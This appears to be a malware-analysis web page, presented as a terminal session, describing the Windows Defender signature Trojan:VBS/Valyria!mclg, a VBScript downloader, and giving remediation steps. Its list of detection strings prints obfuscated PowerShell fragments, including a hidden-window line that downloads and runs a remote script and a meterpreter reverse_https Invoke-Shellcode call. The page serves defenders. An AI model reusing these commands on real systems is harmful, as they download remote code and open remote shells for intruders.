user@threatcheck.sh ~ threat-analysis
bash
$ analyze-threat Trojan:VBS/Valyria!mclg
Trojan:VBS/Valyria!mclg - Windows Defender threat signature analysis

Trojan:VBS/Valyria!mclg - Windows Defender Threat Analysis

$ cat analysis.txt
=== THREAT ANALYSIS REPORT ===
Threat Name: Trojan:VBS/Valyria!mclg
Classification:
Type:Trojan
Platform:VBS
Family:Valyria
Detection Type:Concrete
Known malware family with identified signatures
Suffix:!mclg
Confidence:Very High
False-Positive Risk:Low

Concrete signature match: Trojan - Appears legitimate but performs malicious actions for VBScript platform, family Valyria

Summary:

This is a VBScript trojan that acts as a downloader. It uses heavily obfuscated commands to launch PowerShell, which then downloads and executes a second-stage malicious payload from the internet and attempts to create a shortcut (.lnk) file for persistence.

Severity:
Critical
VDM Static Detection:
Relevant strings associated with this threat:
 - = "powershell.exe   . ( ([sTrINg]$VeRBOSePRefeREnCe)[1,3]+'x'-JOIn'') (MACROHSTR_EXT)
 - Phtt'+'ps://fi'+'le'+' (MACROHSTR_EXT)
 - @box'+'.'+'m (MACROHSTR_EXT)
 - @n'+'l.p'+'n'+'g'+' (MACROHSTR_EXT)
 - .ReplAc'+'E'+'(([cHa'+'r]55+[cHar'+']'+'83+[c'+'H'+'a'+'r]90),['+'sTR'+'in'+'g][cHar'+']'+'3'+'4'+')  (MACROHSTR_EXT)
 - P)').REPLaCE(' (MACROHSTR_EXT)
 - ',[sTRInG][Char]124).REPLaCE(' (MACROHSTR_EXT)
 - ',[sTRInG][Char]36).REPLaCE(([Char]105+[Char]75+[Char]78),[sTRInG][Char]39) ) " (MACROHSTR_EXT)
 -  Lib "shell32" Alias "ShellExecuteA" (MACROHSTR_EXT)
 - transfvw585zbhr.sh/gvw585zbht/spmvw585zbhl6 (MACROHSTR_EXT)
 - bfss21appdbfss21atbfss21a\robfss21aming\beros.lnk (MACROHSTR_EXT)
 - mnotepad.exe (MACROHSTR_EXT)
 - ("setobjshell=wscript.createobject(""wscript.shell"")") (MACROHSTR_EXT)
 - ("command=""c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-nop-noexit-ciex((new-objectnet.webclient) (MACROHSTR_EXT)
 - downloadstring('https://raw.githubusercontent.com/enigma0x3/generate-macro/master/generate-macro.ps1')) (MACROHSTR_EXT)
 - invoke-shellcode-payloadwindows/meterpreter/reverse_https-lhost172.19.240.124-lport1234-force""") (MACROHSTR_EXT)
 - writeline("objshell.runcommand,0") (MACROHSTR_EXT)
 - wscriptc:\users\public\config.vbs (MACROHSTR_EXT)
 - Set jbxinstr = CreateObject("Scripting.FileSystemObject").CreateTextFile("Z:\syscalls\0_" & Int(Rnd * 10000 + 10000) & ".vba.csv", True, True) (MACROHSTR_EXT)
 - Set jbxXmlNodeOb = jbxXmlOb.createElement("b64") (MACROHSTR_EXT)
 - jbxXmlNodeOb.dataType = "bin.base64" (MACROHSTR_EXT)
 - JbxB64Encode = Replace(jbxXmlNodeOb.Text, vbLf, "") (MACROHSTR_EXT)
 - !#HSTR:StringCodeForMshta.A!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForHooking.C!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForHooking.D!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForHooking.L!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForHooking.O!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForRegsvr32.A!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForRundll32.A!pli (PEHSTR_EXT)
 - rundll32 (PEHSTR_EXT)
 - !#HSTR:StringCodeForBITSJobs.A!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForPowerShell.G!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForScheduledTask.A!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForDataEncoding.D!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForHooking.J!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForHooking.K!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForRemoteFileCopy.B!pli (PEHSTR_EXT)
 - !#HSTR:ExecutionGuardrails (PEHSTR_EXT)
 - !#HSTR:StringCodeForFileDeletion.A!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForHooking.M!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForNetshHelperDLL.A!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForRemoteServices.A!pli (PEHSTR_EXT)
Known malware which is associated with this threat:
e64a746af330452d57d915d938f3572ee034b29d8058758c8ea7876724cbac6c
20/11/2025
→VirusTotal↓Download Sample
Remediation Steps:
Use your security software to remove the detected file and run a full system scan. Manually inspect startup locations, including `%APPDATA%\Roaming`, for suspicious shortcut (.lnk) files and remove them. Since this is a downloader, consider isolating the endpoint and investigating for secondary infections.
=== END REPORT ===
$ reanalyze-threat
This analysis was last updated on 20/11/2025. Do you want to analyze it again?
$ ls available-commands/
→ cd /home
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